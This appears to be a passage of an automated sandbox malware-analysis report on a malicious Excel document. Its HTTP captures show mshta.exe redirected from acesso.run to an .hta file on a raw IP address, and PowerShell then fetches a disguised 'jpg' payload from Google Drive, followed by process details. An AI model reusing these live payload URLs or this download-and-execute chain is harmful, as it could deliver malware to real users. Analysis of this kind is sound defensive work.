                                                                                                                                                                                                CF-RAY: 8da435bd5f5f071f-ATL
                                                                                                                                                                                                alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                server-timing: cfL4;desc="?proto=TCP&rtt=19745&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1028&delivery_rate=146329&cwnd=32&unsent_bytes=0&cid=adb17c60a43eaf26&ts=337&x=0"
                                                                                                                                                                                                2024-10-29 15:30:59 UTC107INData Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 33 2e 31 30 31 2e 32 31 2f 34 31 32 2f 42 52 2f 73 65 65 6d 79 62 65 73 74 74 68 69 6e 67 77 68 69 63 68 69 67 69 76 65 6e 74 6f 75 66 6f 72 6d 61 6b 65 62 65 73 74 61 70 70 69 6e 65 73 73 77 6f 67 69 76 65 6e 2e 68 74 61
                                                                                                                                                                                                Data Ascii: Found. Redirecting to http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta


                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                3192.168.2.2249170104.21.74.1914433052C:\Windows\System32\mshta.exe
                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                2024-10-29 15:31:00 UTC470OUTGET /WP8tfj?&song=snotty&attendant=malicious&rent=unbiased&mandolin=reminiscent&vase=plausible&luggage=quick&membership=acoustic&clasp HTTP/1.1
                                                                                                                                                                                                Accept: */*
                                                                                                                                                                                                Accept-Language: en-US
                                                                                                                                                                                                UA-CPU: AMD64
                                                                                                                                                                                                Accept-Encoding: gzip, deflate
                                                                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                                                                                                                                Host: acesso.run
                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                2024-10-29 15:31:01 UTC1073INHTTP/1.1 302 Found
                                                                                                                                                                                                Date: Tue, 29 Oct 2024 15:31:01 GMT
                                                                                                                                                                                                Content-Type: text/plain; charset=utf-8
                                                                                                                                                                                                Content-Length: 107
                                                                                                                                                                                                Connection: close
                                                                                                                                                                                                X-DNS-Prefetch-Control: off
                                                                                                                                                                                                X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                Strict-Transport-Security: max-age=15552000; includeSubDomains
                                                                                                                                                                                                X-Download-Options: noopen
                                                                                                                                                                                                X-Content-Type-Options: nosniff
                                                                                                                                                                                                X-XSS-Protection: 0
                                                                                                                                                                                                Location: http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta
                                                                                                                                                                                                Vary: Accept
                                                                                                                                                                                                cf-cache-status: DYNAMIC
                                                                                                                                                                                                Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dqeL6icKxOngoJ%2FRw0oe8%2Bct5S25kSae2YHhv9E7ub93S2b7ivZBKQFkfynK2KR%2B383VtUMXjYcUnoKmKVYKBPMOTflXOf5GUplxLKxa9FVpS%2Fk%2FiG%2FHiD%2FtQ5bD"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                Server: cloudflare
                                                                                                                                                                                                CF-RAY: 8da435cb6e4f359c-DFW
                                                                                                                                                                                                alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                server-timing: cfL4;desc="?proto=TCP&rtt=1167&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1052&delivery_rate=2413333&cwnd=251&unsent_bytes=0&cid=c37f54c831e0f285&ts=595&x=0"
                                                                                                                                                                                                2024-10-29 15:31:01 UTC107INData Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 33 2e 31 30 31 2e 32 31 2f 34 31 32 2f 42 52 2f 73 65 65 6d 79 62 65 73 74 74 68 69 6e 67 77 68 69 63 68 69 67 69 76 65 6e 74 6f 75 66 6f 72 6d 61 6b 65 62 65 73 74 61 70 70 69 6e 65 73 73 77 6f 67 69 76 65 6e 2e 68 74 61
                                                                                                                                                                                                Data Ascii: Found. Redirecting to http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta


                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                4192.168.2.2249173142.250.184.2064433776C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                2024-10-29 15:31:14 UTC121OUTGET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1
                                                                                                                                                                                                Host: drive.google.com
                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                2024-10-29 15:31:14 UTC1319INHTTP/1.1 303 See Other
                                                                                                                                                                                                Content-Type: application/binary
                                                                                                                                                                                                Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                Pragma: no-cache
                                                                                                                                                                                                Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                Date: Tue, 29 Oct 2024 15:31:14 GMT
                                                                                                                                                                                                Location: https://drive.usercontent.google.com/download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download
                                                                                                                                                                                                Strict-Transport-Security: max-age=31536000
                                                                                                                                                                                                Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
                                                                                                                                                                                                Content-Security-Policy: script-src 'report-sample' 'nonce-IM1yFgVFVXI1n0QVbqC5Iw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
                                                                                                                                                                                                Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
                                                                                                                                                                                                Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
                                                                                                                                                                                                Cross-Origin-Opener-Policy: same-origin
                                                                                                                                                                                                Server: ESF
                                                                                                                                                                                                Content-Length: 0
                                                                                                                                                                                                X-XSS-Protection: 0
                                                                                                                                                                                                X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                X-Content-Type-Options: nosniff
                                                                                                                                                                                                Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                                                                                                                Connection: close


                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                5192.168.2.2249174172.217.16.1934433776C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                2024-10-29 15:31:15 UTC139OUTGET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1
                                                                                                                                                                                                Host: drive.usercontent.google.com
                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                2024-10-29 15:31:18 UTC4906INHTTP/1.1 200 OK
                                                                                                                                                                                                Content-Type: image/jpeg
                                                                                                                                                                                                Content-Security-Policy: sandbox
                                                                                                                                                                                                Content-Security-Policy: default-src 'none'
                                                                                                                                                                                                Content-Security-Policy: frame-ancestors 'none'
                                                                                                                                                                                                X-Content-Security-Policy: sandbox
                                                                                                                                                                                                Cross-Origin-Opener-Policy: same-origin
                                                                                                                                                                                                Cross-Origin-Embedder-Policy: require-corp
                                                                                                                                                                                                Cross-Origin-Resource-Policy: same-site
                                                                                                                                                                                                X-Content-Type-Options: nosniff
                                                                                                                                                                                                Content-Disposition: attachment; filename="new_image-new.jpg"
                                                                                                                                                                                                Access-Control-Allow-Origin: *
                                                                                                                                                                                                Access-Control-Allow-Credentials: false
                                                                                                                                                                                                Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED]
                                                                                                                                                                                                Access-Control-Allow-Methods: GET,HEAD,OPTIONS
                                                                                                                                                                                                Accept-Ranges: bytes
                                                                                                                                                                                                Content-Length: 2239109
                                                                                                                                                                                                Last-Modified: Mon, 21 Oct 2024 13:42:20 GMT
                                                                                                                                                                                                X-GUploader-UploadID: AHmUCY22kinlrsFNP8hKlsmKGSMi4rtb8g2h2_-80IjhHY607lf8UBrAN53KT25Ktn0gluL_pGGyiAYobA
                                                                                                                                                                                                Date: Tue, 29 Oct 2024 15:31:18 GMT
                                                                                                                                                                                                Expires: Tue, 29 Oct 2024 15:31:18 GMT
                                                                                                                                                                                                Cache-Control: private, max-age=0
                                                                                                                                                                                                X-Goog-Hash: crc32c=WqxmdA==
                                                                                                                                                                                                Server: UploadServer
                                                                                                                                                                                                Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                                                                                                                Connection: close
                                                                                                                                                                                                2024-10-29 15:31:18 UTC4906INData Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1
                                                                                                                                                                                                Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
                                                                                                                                                                                                2024-10-29 15:31:18 UTC4887INData Raw: 38 d5 54 75 bf 6a c0 e8 60 f3 a2 a9 67 37 cf 1e a3 c5 fc b1 89 42 29 28 a3 70 07 6a 8f 80 1d 71 35 99 8a b1 0d b5 57 a0 3d b2 1f 56 1a 7a 2d 7e a2 45 8a c0 d0 1a 84 45 54 44 ed db be 66 4f a8 42 ce 80 35 6e ba ba e7 1a 56 de f6 a0 0f f1 57 7c 52 6d 1c 92 cc 5c 11 4c d4 49 ed 80 54 9d 95 55 54 b1 04 56 ef 6c 87 44 23 76 d6 af e2 20 61 e2 54 40 a9 76 40 ab f7 ce 62 e2 e8 a9 5e 84 1c 08 82 7d 8c a8 45 2e de 2f b9 cd 04 62 f1 19 03 ed 55 b5 34 6c 13 99 53 48 aa 43 28 23 68 01 89 e7 9c 98 27 46 81 d1 49 00 1d c6 fb 9c 07 6f 7c 8a 24 76 64 ec a4 5e 15 62 d3 c0 8c e5 e5 24 03 e9 02 c5 62 1a 6d 62 bb 00 cc 14 ad 81 78 71 36 e4 61 be af 8c 0c ad 42 99 26 76 51 44 9a 0a 16 b8 c5 99 19 0d 32 90 7e 23 35 a4 11 b3 15 27 e2 0f 4b e3 17 d4 ed 10 80 24 dc 4f 40 70 33 eb
                                                                                                                                                                                                Data Ascii: 8Tuj`g7B)(pjq5W=Vz-~EETDfOB5nVW|Rm\LITUTVlD#v aT@v@b^}E./bU4lSHC(#h'FIo|$vd^b$bmbxq6aB&vQD2~#5'K$O@p3
                                                                                                                                                                                                2024-10-29 15:31:18 UTC1378INData Raw: 03 c4 23 6b 26 3e a2 b2 24 d6 c3 22 14 64 b1 ef ed 88 84 29 76 39 ca bd 12 08 bf cb 00 a4 c2 14 98 d5 83 0e 84 9c 9d 36 a5 e0 63 42 c9 e7 9c 18 e0 82 47 07 2c 14 16 14 d5 f0 ac 0d 24 f1 5d a4 03 18 2f ee 33 6b 47 ad d3 3e 98 4d 26 91 19 99 d9 77 32 b9 ae 9e a2 43 00 33 ca 86 52 de ae 08 03 9c 29 21 94 85 5e 2a b8 e3 eb d7 e5 81 e9 07 8b 40 da 67 d5 0f 0e d3 10 ac 29 77 3d 76 04 fe 3e c4 af e7 f0 39 da 6f 1b d3 6a 1c ef d0 c2 18 ad 85 4d ec c4 fc 8b f3 f4 ed ce 61 40 cf 14 91 b0 04 a8 24 15 27 f8 4f 0c 3f 2c a2 b4 b0 b9 da 40 ba b0 c0 30 ef 55 63 b7 be 06 9c de 2d 13 9a 1a 38 a3 b3 cb 29 6b 35 f0 2c 72 ad e3 50 00 36 f8 74 25 bd ed f9 ff 00 c5 99 f3 17 91 43 33 12 d4 7f 11 ba e7 b6 2e 18 b2 d8 8c 00 bf e2 16 0e 06 be b7 c5 22 62 a9 1e 8e 28 db 68 66 23 78
                                                                                                                                                                                                Data Ascii: #k&>$"d)v96cBG,$]/3kG>M&w2C3R)!^*@g)w=v>9ojMa@$'O?,@0Uc-8)k5,rP6t%C3."b(hf#x
                                                                                                                                                                                                2024-10-29 15:31:18 UTC1378INData Raw: 40 03 c5 70 31 00 f6 a4 48 6a fa 1d b8 cc 2f e7 00 a5 a9 94 58 f8 8c 0e 24 5d 61 13 77 6b 03 e1 92 17 af 1f 8b 8b c9 29 b5 49 1f 2c 00 18 b9 2d 6c 4f c7 28 47 15 75 86 08 42 f2 6b 2a c9 e9 3e bc 08 42 03 02 af 44 f7 ba cd 6f 04 d6 47 a2 d4 4a f3 be d5 70 2b 82 6d be 99 8e 14 03 f8 ac e1 01 2b d3 ad 7b d6 07 a4 f1 bd 8b 0a ea 53 53 2c 72 6d 0a b1 86 20 1e 7a fe 59 89 11 d7 6a 17 64 26 79 1a e8 90 cc 76 df c7 a0 ca b3 a3 43 24 b3 6a 7f 7b c0 45 ae 4d 77 bf 6c 67 c3 5e 72 fb 20 75 60 80 ca 55 ba 13 44 1f e7 81 53 a2 f1 b4 86 49 8c b3 20 4e 4a 89 da c8 fa 1c 57 45 ac f1 1d 44 a4 c5 aa 76 65 e4 2b 4a 7a 7d 78 cf 68 ed fb a6 b5 05 45 92 08 be 9c e7 90 d7 c4 9a 5f 11 d4 84 04 02 4b 75 e3 91 ed 81 a1 a2 fb 43 18 3e 5e b2 44 0f c8 de 08 02 fe 20 74 cd 5d 3c cb aa
                                                                                                                                                                                                Data Ascii: @p1Hj/X$]awk)I,-lO(GuBk*>BDoGJp+m+{SS,rm zYjd&yvC$j{EMwlg^r u`UDSI NJWEDve+Jz}xhE_KuC>^D t]<
                                                                                                                                                                                                2024-10-29 15:31:18 UTC1378INData Raw: 1f ae 27 36 92 58 80 97 69 00 1b 35 81 30 05 58 83 ca 01 00 f7 cf b2 7e cf b4 a9 3f ec fb 47 a6 9e 36 97 4f a8 fb 42 11 94 77 56 88 29 e7 b7 cf b6 7c 6a 58 19 c8 f2 eb 6d 73 66 8f 39 fa 1b f6 20 88 bf 60 e7 77 65 21 f5 ce 36 b3 71 7b 50 00 47 c4 d0 fa e0 7c f3 ec 86 96 0d 24 df 69 61 de cc 9f 72 5f 4c 4e 18 b2 99 62 23 d4 78 ee 01 6e c3 a6 0b f6 84 1a 2f da f4 cd 33 8d 41 69 34 c7 72 a8 51 b7 62 71 ed d3 bf 7b be 3a 66 ef d9 08 53 67 da 44 1a 69 62 f1 18 b4 4e 93 ab 23 16 45 43 10 29 60 05 03 d2 d4 a0 0a af 86 64 7d b5 d6 e9 b5 bf b4 81 3b 23 16 94 69 24 01 db 90 1a 28 d8 0e bf 1c 0d 1f da cc fe 54 1f 66 56 3d cb 1f fb 35 76 ad 81 43 8f fa 67 cc c3 ea a2 5b d3 06 21 bd 54 05 fe b9 f5 2f da 8c 48 e3 ec f0 92 2d 81 7c 35 00 66 61 46 b6 f4 e7 3c 34 12 c7 b4
                                                                                                                                                                                                Data Ascii: '6Xi50X~?G6OBwV)|jXmsf9 `we!6q{PG|$iar_LNb#xn/3Ai4rQbq{:fSgDibN#EC)`d};#i$(TfV=5vCg[!T/H-|5faF<4
                                                                                                                                                                                                2024-10-29 15:31:18 UTC1378INData Raw: c3 29 58 5a 9c d9 3e 9f 96 1e 08 8c b0 82 dc af 42 47 38 19 e1 37 37 ac 6e 1e f8 64 2c ea 50 8b 5a e2 86 72 43 20 d6 98 ca 91 10 e6 f1 98 e2 02 56 0a 59 42 8b 23 df 01 78 b4 e9 01 ad a6 db b0 c3 47 a2 56 90 52 30 0d d6 fb 64 88 77 4d bc c8 dc 9e 06 3a 6d 23 01 59 b7 11 d7 02 87 46 9a 6b 23 93 d3 e9 81 56 57 0c 03 58 06 a8 8e 70 da 98 8b 4d 13 09 58 9a a2 07 f3 c4 91 36 ea 25 46 91 89 bf 4f 15 81 05 48 73 66 fe 99 59 d0 32 6d 65 e4 64 32 32 cc 41 73 f0 bc ba 5b 0d 92 1b 61 d0 d6 02 fa 7d 3a 39 3e 9f 52 f4 38 dc 6b 21 43 bb a8 e9 95 8c 04 52 43 10 df 2c 32 12 50 6d 66 2c 7a fc 30 2f 06 8d a6 25 a4 34 3b 58 c8 96 22 d1 f4 52 cb c0 ac d4 44 56 45 f2 d8 8f 46 d3 f1 f8 e6 63 11 a7 d4 37 3c 01 54 7b e0 0e 5d b1 bd 58 06 85 71 f0 c3 94 4f ba 05 25 43 37 3d 31 49
                                                                                                                                                                                                Data Ascii: )XZ>BG877nd,PZrC VYB#xGVR0dwM:m#YFk#VWXpMX6%FOHsfY2med22As[a}:9>R8k!CRC,2Pmf,z0/%4;X"RDVEFc7<T{]XqO%C7=1I
                                                                                                                                                                                                2024-10-29 15:31:18 UTC1378INData Raw: 01 32 29 b9 26 8f b6 16 02 34 ee 25 08 c5 87 2a bb c8 03 e7 44 1f d7 0f f7 49 0c 77 be 02 4f ff 00 6f 4f fd 59 0d a4 95 63 16 d0 90 be d3 23 7e 81 b0 1a 86 59 f5 09 23 43 24 e1 4d 1d cd 2b 11 d0 58 15 c0 b3 fe 20 46 44 5a 83 3b 14 59 a6 89 55 50 bb b4 cc 6c d8 56 ef d3 93 f9 7b 62 09 a7 96 48 77 a3 42 01 3c dc aa a4 8f 88 2c 32 1f 49 22 a9 25 a1 20 2e ea 12 27 4f a3 73 80 ea 99 bc a5 f3 1a 44 2e 18 28 69 18 f2 0a f5 00 93 5c 9e dd 33 33 5c 85 67 60 58 b1 e2 d9 9a cf f7 af 9e 73 bb 36 9c 21 24 aa 12 47 3c 73 5f 9e 2c 78 04 0b a3 c9 27 02 83 83 9a be 16 e9 1c 52 33 90 29 81 e7 e5 99 4a 2c e6 e7 81 e9 61 d4 45 28 96 23 21 0c 36 fb 0c 0d 48 75 9a 52 a1 69 48 6f c3 75 57 99 1a f9 8f dd 9d 23 da c0 b7 2c 3a e6 e4 de 1f 02 10 91 32 83 b4 b0 b4 04 03 5d c5 67 99
                                                                                                                                                                                                Data Ascii: 2)&4%*DIwOoOYc#~Y#C$M+X FDZ;YUPlV{bHwB<,2I"% .'OsD.(i\33\g`Xs6!$G<s_,x'R3)J,aE(#!6HuRiHouW#,:2]g
                                                                                                                                                                                                2024-10-29 15:31:18 UTC1378INData Raw: a6 09 d8 19 02 81 47 df 03 d0 7d 9e 56 6d 0b d3 6d 01 ec 1f a5 62 bf 68 55 9b 57 a7 0d d7 6f 1f 1f 56 5b c2 35 03 45 0c 9e 71 db 16 e5 36 db af 9b 1c 7e 78 2f 13 d4 47 ac d4 c6 da 76 de 11 4a 9d bb ab df db 03 d0 1d eb a5 2a 59 98 85 6f c5 db e1 9e 7f ec d0 65 9a 72 39 f4 0f e7 9a e7 59 12 e9 49 97 74 67 98 d4 10 c6 cd 7b 7d 33 27 c1 b7 e9 27 73 22 32 ab a8 16 55 b9 eb d0 56 03 3e 3f a7 f3 60 13 85 f5 44 68 ff 00 ba 7f eb 97 d0 f8 ac 6b e1 db a4 3c c4 84 f4 27 75 76 c7 27 96 07 86 45 91 c4 6a ca 08 69 01 0a 77 03 c0 be a7 8c f1 c2 45 86 52 a5 4b c5 7c 7a a8 10 3e 38 1e 8f 45 71 81 23 bb 7d e2 57 0c ea 1e ec 37 22 97 bf 40 0d f6 27 0b aa f1 6d 1f 87 c6 22 0e 24 91 46 d1 1c 7f c2 45 8e 4f 6e 95 99 7b 3c 5f c5 90 05 8c 41 a6 6b 62 45 20 6b b2 49 fe 23 77 db
                                                                                                                                                                                                Data Ascii: G}VmmbhUWoV[5Eq6~x/GvJ*Yoer9YItg{}3''s"2UV>?`Dhk<'uv'EjiwERK|z>8Eq#}W7"@'m"$FEOn{<_AkbE kI#w
                                                                                                                                                                                                2024-10-29 15:31:18 UTC1378INData Raw: c1 83 32 8f 22 1f 51 5f c4 07 3d c6 6b 7d 84 d4 3e 8b c6 3e d6 46 92 42 d1 a7 83 6a 9c 79 60 fa 76 95 3b 41 20 1e fc e6 27 db 14 0d f6 bd 1c 39 15 a7 d1 15 63 dc 7d de 2a c0 f4 9f b5 e9 e4 66 fb 3d e6 24 b1 ca 9a 3d 92 ab 22 a8 0d b5 18 f0 39 1c b5 73 ed 9f 39 d3 40 41 2e 25 da c3 e1 9f 58 fd b3 cb a6 6f 1d f0 5d 3e a6 49 04 50 a3 89 5d 41 69 0f 0a 68 02 40 ff 00 47 3e 63 19 73 11 0b 11 65 00 0e 08 04 1b e8 6b eb 80 16 49 4a b2 79 a5 95 81 06 85 60 df 46 15 81 f3 38 35 7e 95 be 3e 39 a4 c9 b9 76 15 28 d5 dc 7f 5c 4e 73 e4 05 56 91 c5 9a e2 bf b6 05 f4 30 9f 35 9c 92 39 b5 0d 44 9b f9 65 f5 28 eb 21 60 ea 41 ef b7 a7 eb 93 02 ed 56 70 f2 1f cb fb 64 b9 67 04 17 60 0f ca f0 10 9d dc 00 a6 82 df 04 1e bf 4c 59 1e 35 d4 ac 80 30 2a c1 a8 f7 ae 72 e4 93 a8 60
                                                                                                                                                                                                Data Ascii: 2"Q_=k}>>FBjy`v;A '9c}*f=$="9s9@A.%Xo]>IP]Aih@G>csekIJy`F85~>9v(\NsV059De(!`AVpdg`LY50*r`
                                                                                                                                                                                                2024-10-29 15:31:18 UTC1378INData Raw: 37 8a 68 7c 54 6a f5 6e a1 58 93 d2 ff 00 0e 06 b1 71 e6 86 14 01 e3 35 1a 26 01 02 90 40 51 98 a6 46 ad a5 68 8f 61 8f 47 3b be 94 12 18 38 e2 fb d6 03 ee 8a 40 e5 77 03 57 ed 99 72 41 73 19 59 82 95 36 6c f1 8d 39 91 62 57 03 e2 d7 94 79 b7 46 43 42 ac 08 a6 e7 00 12 a4 72 c2 35 01 d6 ec f4 c5 11 d9 e4 6d cc 09 19 da 9d f3 41 22 44 16 26 2a 55 6b b6 28 35 02 2d 54 7a 5a b7 65 b2 c7 e0 30 0b a9 94 45 a9 44 67 1b 4f 38 ea ea 12 29 46 c2 b5 fc 40 e2 7a bd 3a 4e ea d2 2a 8d b5 cd e5 e0 81 5d 4c c4 86 8f a5 8c 0d b6 d5 a0 d3 f9 88 a1 56 bf 2c cc 96 68 e6 f5 07 52 4f c7 13 f1 2d 54 ef a0 91 74 e8 ab 10 1b 49 ef 79 e5 9a 79 e3 05 0b 1b 53 d7 bd e0 7b 2d 3c a8 58 a1 75 0c 0f 17 df 0b a9 9d 9b 4a 51 59 42 a9 e2 bd fd b3 c5 cb aa d5 ee 0f 23 b2 9a e0 91 57 84 83
                                                                                                                                                                                                Data Ascii: 7h|TjnXq5&@QFhaG;8@wWrAsY6l9bWyFCBr5mA"D&*Uk(5-TzZe0EDgO8)F@z:N*]LV,hRO-TtIyyS{-<XuJQYB#W


                                                                                                                                                                                                Statistics

                                                                                                                                                                                                CPU Usage

                                                                                                                                                                                                Click to jump to process

                                                                                                                                                                                                Memory Usage

                                                                                                                                                                                                Click to jump to process

                                                                                                                                                                                                High Level Behavior Distribution

                                                                                                                                                                                                Click to dive into process behavior distribution

                                                                                                                                                                                                Behavior

                                                                                                                                                                                                Click to jump to process

                                                                                                                                                                                                System Behavior

                                                                                                                                                                                                General

                                                                                                                                                                                                Target ID:0
                                                                                                                                                                                                Start time:11:30:10
                                                                                                                                                                                                Start date:29/10/2024
                                                                                                                                                                                                Path:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                Commandline:"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
                                                                                                                                                                                                Imagebase:0x13f7a0000
                                                                                                                                                                                                File size:28'253'536 bytes
                                                                                                                                                                                                MD5 hash:D53B85E21886D2AF9815C377537BCAC3
                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                Has exited:false

                                                                                                                                                                                                General

                                                                                                                                                                                                Target ID:4
                                                                                                                                                                                                Start time:11:30:34
                                                                                                                                                                                                Start date:29/10/2024
                                                                                                                                                                                                Path:C:\Windows\System32\mshta.exe
                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                Commandline:C:\Windows\System32\mshta.exe -Embedding
                                                                                                                                                                                                Imagebase:0x13fd90000
                                                                                                                                                                                                File size:13'824 bytes
                                                                                                                                                                                                MD5 hash:95828D670CFD3B16EE188168E083C3C5
                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                General

                                                                                                                                                                                                Target ID:5
                                                                                                                                                                                                Start time:11:30:39
                                                                                                                                                                                                Start date:29/10/2024
                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                Wow64 process (32bit):false
